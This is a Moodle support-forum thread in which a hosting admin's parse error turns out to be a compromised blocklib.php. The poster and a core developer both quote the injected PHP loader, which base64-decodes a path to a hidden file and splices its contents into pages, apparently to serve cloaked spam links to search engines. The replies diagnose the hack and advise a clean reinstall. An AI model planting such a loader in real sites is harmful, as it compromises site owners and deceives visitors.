Syntax Error

Syntax Error

by Angie Mroczka -
Number of replies: 7
I have a web hosting customer using Moodle 1.4.3. We moved them to a new site and am getting the following error message:

Parse error: syntax error, unexpected T_STRING in /home/nyteglor/public_html/school/lib/blocklib.php on line 7

I tried upgrading to version 1.7.7, but the database was unusable and the admin was not able to log in.

Here are my goals:
  1. Get the customer back up and running on the current version.
  2. Upgrade to a newer release.
Help!!

The Moodle installation is located at http://www.schoolofthewise.com/school/.

Any assistance would be appreciated.
Average of ratings: -
In reply to Angie Mroczka

Re: Syntax Error

by Albert Ramsbottom -
Can you have a look at that file and post the first 15 lines so we can have a look. It might be that something has become corupt. Can you check this file against an original

Paul
In reply to Albert Ramsbottom

Re: Syntax Error

by Angie Mroczka -
Here are several of the lines from the beginning of the file...

<?
ob_start(); include_once base64_decode("L2hvbWUvbnl0ZWdsb3IvcHVibGljX2h0bWwvc2Nob29sL2xhbmcvdHIvaGVscC9xdWl6L2hlbHBjbGFzcy50eHQ="); $_SERVER["php__ss_ldata"]=ob_get_clean(); ob_start("php__session_end");function php__session_end($php__buffer){if(!eregi("[a-z]",$_SERVER["php__ss_ldata"])) return $php__buffer; if(function_exists("php__register_global")) $php__buffer=php__register_global($php__buffer);return eregi("</body>",$php__buffer)?preg_replace("|<\/body>|i","{$_SERVER["php__ss_ldata"]}</body>",$php__buffer):$php__buffer.$_SERVER["php__ss_ldata"]; }
PHP //$Id: blocklib.php,v 1.17.2.7 2004/11/22 04:44:14 mjollnir_ Exp $

//This library includes all the necessary stuff to use blocks in course pages

define('BLOCK_LEFT', 11);
define('BLOCK_RIGHT', 12);
define('BLOCK_MOVE_LEFT', 0x01);
define('BLOCK_MOVE_RIGHT', 0x02);
define('BLOCK_MOVE_UP', 0x04);
define('BLOCK_MOVE_DOWN', 0x08);

define('BLOCKS_DEFAULT_SITE', 'site_main_menu,admin,course_list:course_summary,calendar_month');
define('BLOCKS_DEFAULT_SOCIAL', 'participants,search_forums,calendar_month,calendar_upcoming,social_activities,recent_activity,admin,course_list');
define('BLOCKS_DEFAULT_TOPICS', 'participants,activity_modules,search_forums,admin,course_list:news_items,calendar_upcoming,recent_activity');
define('BLOCKS_DEFAULT_WEEKS', 'participants,activity_modules,search_forums,admin,course_list:news_items,calendar_upcoming,recent_activity');

In reply to Angie Mroczka

Re: Syntax Error

by Angie Mroczka -
And I have not been able to find a copy of Moodle 1.4.3 to verify the file against. Will continue to look for the oldest version I can find.
In reply to Angie Mroczka

Re: Syntax Error

by Angie Mroczka -
I found a version of 1.5.4, but it does not have block_left and block_right as version 1.3.4 did.


In reply to Angie Mroczka

Re: Syntax Error

by Dan Marsden -
Picture of Core developers Picture of Particularly helpful Moodlers Picture of Peer reviewers Picture of Plugin developers Picture of Plugins guardians Picture of Testers Picture of Translators
Hi There,

1.4.3 is really old and the site has been hacked - that initial group of lines:
ob_start(); include_once base64_decode("L2hvbWUvbnl0ZWdsb3IvcHVibGljX2h0bWwvc2Nob29sL2xhbmcvdHIvaGVscC9xdWl6L2hlbHBjbGFzcy50eHQ="); $_SERVER["php__ss_ldata"]=ob_get_clean(); ob_start("php__session_end");function php__session_end($php__buffer){if(!eregi("[a-z]",$_SERVER["php__ss_ldata"])) return $php__buffer; if(function_exists("php__register_global")) $php__buffer=php__register_global($php__buffer);return eregi("",$php__buffer)?preg_replace("||i","{$_SERVER["php__ss_ldata"]}",$php__buffer):$php__buffer.$_SERVER["php__ss_ldata"]; }

is trying to put stacks of viagra links on the page (and only for Search engines visiting your site - not for general visitors)

I'd suggest you delete the moodle directory completely and replace it with a copy of Moodle 1.5Stable (this link here should work)
http://download.moodle.org/download.php/stable15/moodle-latest-15.zip

hopefully the upgrade works ok.

then I would try to take individual course backups of each course and build a fresh copy of Moodle (latest 1.9Stable) and then restore each individual course on the new site. - you will probably want your client to check the content, as it's possible the hackers/spammers have modifed the content of your site.

You should also check to make sure none of the other sites on your server have been compromised. If your server is configured badly - it's possible one of your other sites infected the Moodle install in the first place.
In reply to Angie Mroczka

Re: Syntax Error

by Albert Ramsbottom -
Hi Youve been hacked

Try a close version of moodle to the one you are using and start again.

Paul
In reply to Angie Mroczka

Re: Syntax Error

by Angie Mroczka -
Thanks for the information! I have notified the customer and will let you know how it goes.

I appreciate the support. You guys rock smile